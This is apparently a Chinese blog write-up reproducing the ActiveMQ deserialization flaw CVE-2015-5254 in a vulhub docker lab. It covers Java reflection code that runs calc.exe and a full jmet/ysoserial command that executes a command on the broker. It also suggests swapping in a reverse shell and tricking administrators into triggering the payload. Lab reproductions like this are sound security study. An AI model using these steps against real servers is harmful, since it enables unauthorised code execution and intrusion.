ActiveMQ反序列化漏洞-CVE-2015-5254-复现

发布于 2020-07-28  16 次阅读


相关介绍

该漏洞环境是基于docker+vulhub搭建的 根据vulhub的漏洞环境介绍: Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发的开源消息中间件,它支持Java消息服务,集群,Spring框架等。

Apache ActiveMQ版本5.x之前的5.13.0安全漏洞,该程序引起的漏洞并不限制可以在代理中序列化的类。远程攻击者可以使特殊的序列化Java消息服务(JMS)ObjectMessage对象利用此漏洞来执行任意代码 参考链接

运行漏洞环境

#进入vulhub目录后
D:>cd activemq
D:>cd CVE-2015-5254
D:> docker-compose up -d

相关版本信息

#产看运行的容器id
docker ps
#进入容器内部
docker exec -it 4799a2deea72 /bin/sh
#java版本信息
$ java -version
java version "1.7.0_21"
Java(TM) SE Runtime Environment (build 1.7.0_21-b11)
Java HotSpot(TM) 64-Bit Server VM (build 23.21-b01, mixed mode)
#系统内核信息
$ uname -a
Linux 4799a2deea72 4.19.76-linuxkit #1 SMP Tue May 26 11:42:35 UTC 2020 x86_64 GNU/Linux

漏洞成因

要想了解漏洞成因 首先我们得了解两个概念:

  • 什么是序列化和反序列化

当如果你想在网络上传输对象,或者转储到本地文件,你就需要把对象序列化,也就是说需要把对象转换为字节流,才可以保证对象的完整性和可传递性,当你要用到这对象时,则需要对其进行反序列化

  • 反序列化和序列化的作用

核心作用就是对象状态的保存和重建

总而言之 Java序列化就是指把Java对象转换为字节序列的过程 Java反序列化就是指把字节序列恢复为Java对象的过程。

在Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

代码示例

//读取输入流,并转换为对象
InputStream in=request.getInputStream();
ObjectInputStream outs = new ObjectInputStream(in);

//恢复对象
outs.readObject();
outs.close();

如果在反序列化的过程中,如果目标对象的readObject进行了一些更复杂的操作的时候,那么极有可能给恶意代码提供可乘之机。

利用java的反射来执行代码 Java的反射机制提供为Java工程师的开发提供了相当多的便利性,同样也带来了潜在的安全风险。反射机制的存在使得我们可以越过Java本身的静态检查和类型约束,在运行期直接访问和修改目标对象的属性和状态。Java反射的四大核心是 Class,Constructor,Field,Method 下面代码可以利用反射机制调用本机计算器

public class calc {
    public static void main(String[] args) throws Exception{
        Object runtime=Class.forName("java.lang.Runtime")
                .getMethod("getRuntime",new Class[]{})
                .invoke(null);
        Class.forName("java.lang.Runtime")
                .getMethod("exec",String.class)
                .invoke(runtime,"calc.exe");
    }
}

以上代码中,我们利用了Java的反射机制把我们的代码意图都利用字符串的形式进行体现,使得原本应该是字符串的属性,变成了代码执行的逻辑,而这个机制也为我们后续的漏洞使用的前提。

现在让我们回到ActiveMQ反序列化漏洞本身 1.漏洞利用过程如下: a.构造(可以使用ysoserial)可执行命令的序列化对象 b.作为一个消息,发送给目标61616端口 c.访问的Web管理页面,读取消息,触发漏洞 2.使用jmet进行漏洞利用 首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误),jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载) 下载地址 执行命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

此时,一个名为事件的队列将被添加到目标ActiveMQ。 您可以访问http://your-ip:8161/admin/browse.jsp?JMSDestination=Event以查看此队列中的所有消息 点击查看消息即可触发命令执行

然后我们进入容器

docker exec -it 4799a2deea72 /bin/bash
$cd tmp

发现success文件创建成功

将命令替换为反向shell语句并重新使用它:

nc -l -p 21

通过Web管理页面访问消息并触发漏洞需要管理员特权。在没有密码的情况下,我们可以诱使管理员访问我们的链接以进行触发,或伪装成其他服务的合法消息在触发时需要等待客户端访问。

后续提权就属于后渗透范围了 于此不再多提